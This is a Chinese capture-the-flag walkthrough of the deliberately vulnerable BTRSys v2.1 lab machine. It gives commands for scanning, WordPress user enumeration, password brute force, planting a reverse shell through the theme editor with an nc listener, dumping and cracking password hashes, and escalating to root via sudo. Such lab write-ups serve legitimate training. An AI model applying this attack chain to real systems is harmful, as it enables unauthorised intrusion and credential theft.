BTRSys: v2.1靶场渗透

https://www.vulnhub.com/entry/btrsys-v21,196/

https://portal.offsec.com/machine/btrsys21-114/overview/details

  1. 将两台虚拟机网络连接都改为NAT模式

  2. 攻击机上做namp局域网扫描发现靶机

    nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.155

  1. 对靶机进行端口服务探测

    nmap -sV -T4 -p- -A 192.168.23.155

  1. 访问 21 端口开放的 FTP 服务

    ftp 192.168.23.155

anonymous匿名登录成功,输入binary进入二进制模式

啥也没有,而且权限也不足以进行文件上传

  1. 再来看看网站

没有什么价值的默认网页,扫描其网站子目录看看

复制代码
gobuster dir -u http://192.168.23.155 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400
  1. 通过目录结构可以看到网站是 wordpress 建站,分别看看网页内容

http://192.168.23.155/robots.txt

http://192.168.23.155/wordpress/

扫描识别网站指纹目录

复制代码
whatweb -v http://192.168.23.155/wordpress/

得知了 WordPress[3.9.14]

  1. 使用专项 wordpress 扫描工具进行扫描

    wpscan --url http://192.168.23.155/wordpress/ --enumerate u

扫描发现 wordpress 存在两个用户:adminbtrisk

  1. 对收集的用户名进行爆破,字典选用/usr/share/wordlists/rockyou.txt

    gunzip /usr/share/wordlists/rockyou.txt.gz
    mousepad user.txt
    wpscan --url "http://192.168.23.155/wordpress/" -P "/usr/share/wordlists/rockyou.txt" --usernames user.txt

成功得到 wordpress 网站的账户密码

admin/admin

  1. 账号密码正确,成功登录进入 wordpress

在后台对wordpress 的主题进行编辑,在下述页面黏贴 kali 自带的反弹 shell 代码

http://192.168.23.155/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentyfourteen&scrollto=72&updated=true

更新网站页面代码之后,访问 404.php 的网站页面触发反弹 shell

http://192.168.23.155/wordpress/wp-content/themes/twentyfourteen/404.php

  1. 注意 kali 在触发反弹 shell 之前就需要监听 4444 端口以 getshell

    nc -lvvp 4444

然后启动一个可交互式 shell,再进行信息收集操作

复制代码
python3 -c 'import pty;pty.spawn("/bin/bash")'
id
uname -a
lsb_release -a
  1. 再信息收集一下,查看历史命令

    history

成功得到明文的数据库账户密码信息,登录成功

复制代码
mysql -uroot -prootpassword!
  1. 查看数据库,使用数据库wordpress

    show databases;
    use wordpress;

查看 wordpress数据库下 tables

复制代码
show tables;

查看 wp_users 表当中内容

复制代码
select * from wp_users;

btrisk/a318e4507e5a74604aafb45e4741edd3

admin/21232f297a57a5a743894a0e4a801fc3

将这个密码进行md5解密

https://pmd5.com/

得到 btrisk 用户的密码是roottoor

  1. 注意到 home 目录下存在 btrisk 目录,那么可以合理推测系统用户和网站用户同一个密码

    ssh btrisk@192.168.23.155

ssh 登录成功

  1. 看一下如何提权

    sudo -l
    sudo su

最后成功提权变成 root 用户

相关推荐
数字供应链安全产品选型4 分钟前
悬镜安全:风险情报驱动的数字供应链安全治理实践
安全
week_泽15 分钟前
Dvwa靶场搭建_错误汇总
web安全·网络安全·靶场·dvwa
火山引擎开发者社区1 小时前
火山引擎发布系列《AI 安全白皮书》,构筑AI云原生可信基座
人工智能·安全·火山引擎
悬镜安全1 小时前
风险情报驱动的数字供应链安全治理实践
安全
立控信息LKONE1 小时前
库室管控核心产品-仓库安防设施建设
大数据·安全
week_泽1 小时前
网安基础_1_补充_网络安全渗透测试学习笔记
笔记·学习·web安全
雨落秋垣2 小时前
中国联通远程API加密DS系统:企业级安全架构与实现
安全·安全架构
FreeBuf_2 小时前
Shai Hulud恶意软件3.0变种引发供应链安全担忧
安全
FreeBuf_2 小时前
欧洲航天局确认外部服务器遭入侵
服务器·安全·php
事变天下2 小时前
智控云端,安全护航!沃飞长空 AE200 系列重塑低空出行新标杆
安全